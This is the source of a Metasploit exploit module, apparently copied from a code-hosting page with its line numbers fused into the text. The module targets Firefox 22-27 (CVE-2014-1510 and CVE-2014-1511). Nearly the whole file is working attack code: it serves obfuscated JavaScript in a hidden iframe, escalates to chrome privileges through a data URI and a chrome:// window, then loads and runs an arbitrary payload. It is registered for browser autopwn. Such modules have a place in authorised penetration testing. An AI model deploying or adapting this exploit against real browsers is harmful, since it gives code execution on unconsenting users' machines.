Path: blob/master/modules/exploits/multi/browser/firefox_webidl_injection.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/exploitation/jsobfu'67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::Remote::BrowserExploitServer11include Msf::Exploit::Remote::BrowserAutopwn12include Msf::Exploit::Remote::FirefoxPrivilegeEscalation1314autopwn_info({15:ua_name => HttpClients::FF,16:ua_minver => "22.0",17:ua_maxver => "27.0",18:javascript => true,19:rank => ExcellentRanking20})2122def initialize(info = {})23super(24update_info(25info,26'Name' => 'Firefox WebIDL Privileged Javascript Injection',27'Description' => %q{28This exploit gains remote code execution on Firefox 22-27 by abusing two29separate privilege escalation vulnerabilities in Firefox's Javascript30APIs.31},32'License' => MSF_LICENSE,33'Author' => [34'Marius Mlynski', # discovery and pwn2own exploit35'joev' # metasploit module36],37'DisclosureDate' => '2014-03-17',38'References' => [39['CVE', '2014-1510'], # open chrome:// url in iframe40['CVE', '2014-1511'] # bypass popup blocker to load bare ChromeWindow41],42'Targets' => [43[44'Universal (Javascript XPCOM Shell)', {45'Platform' => 'firefox',46'Arch' => ARCH_FIREFOX47}48],49[50'Native Payload', {51'Platform' => %w{java linux osx solaris win},52'Arch' => ARCH_ALL53}54]55],56'DefaultTarget' => 0,57'BrowserRequirements' => {58:source => 'script',59:ua_name => HttpClients::FF,60:ua_ver => lambda { |ver| ver.to_i.between?(22, 27) }61},62'Notes' => {63'Reliability' => UNKNOWN_RELIABILITY,64'Stability' => UNKNOWN_STABILITY,65'SideEffects' => UNKNOWN_SIDE_EFFECTS66}67)68)6970register_options([71OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])72])73end7475def on_request_exploit(cli, request, target_info)76send_response_html(cli, generate_html(target_info))77end7879def generate_html(target_info)80key = Rex::Text.rand_text_alpha(5 + rand(12))81frame = Rex::Text.rand_text_alpha(5 + rand(12))82r = Rex::Text.rand_text_alpha(5 + rand(12))83opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin84data_uri = "data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()" +85"{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', " +86"'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>"8788js = js_obfuscate %Q|89var opts = #{JSON.unparse(opts)};90var key = opts['#{key}'];9192// Load the chrome-privileged browser XUL script into an iframe93var c = new mozRTCPeerConnection;94c.createOffer(function(){},function(){95window.open('chrome://browser/content/browser.xul', '#{frame}');96step1();97});9899// Inject a data: URI into an internal frame inside of the browser100// XUL script to pop open a new window with the chrome flag to prevent101// the new window from being wrapped with browser XUL;102function step1() {103var clear = setInterval(function(){104105// throws until frames[0].frames[2] is available (when chrome:// iframe loads)106frames[0].frames[2].location;107108// we base64 this to avoid the script tag screwing up things when obfuscated109frames[0].frames[2].location=window.atob('#{Rex::Text.encode_base64(data_uri)}');110clearInterval(clear);111setTimeout(step2, 100);112},10);113}114115// Step 2: load the chrome-level window up with a data URI, which116// gives us same-origin. Make sure to load an "<iframe mozBrowser>"117// into the frame, since that will respond to our messageManager118// (this is important later)119function step2() {120var clear = setInterval(function(){121top.vvv.location = 'data:text/html,<html><body><iframe mozBrowser '+122'src="about:blank"></iframe></body></html>';123clearInterval(clear);124setTimeout(step3, 100);125}, 10);126}127128function step3() {129var clear = setInterval(function(){130if (!frames[0]) return; // will throw until the frame is accessible131top.vvv.messageManager.loadFrameScript('data:,'+key, false);132clearInterval(clear);133setTimeout(function(){top.vvv.close();}, 100);134}, 10);135}136|137138%Q|139<!doctype html>140<html>141<body>142<iframe id='#{frame}' name='#{frame}'143style='position:absolute;left:-9999999px;height:1px;width:1px;'>144</iframe>145<script>146#{js}147</script>148#{datastore['CONTENT']}149</body>150</html>151|152end153end154155156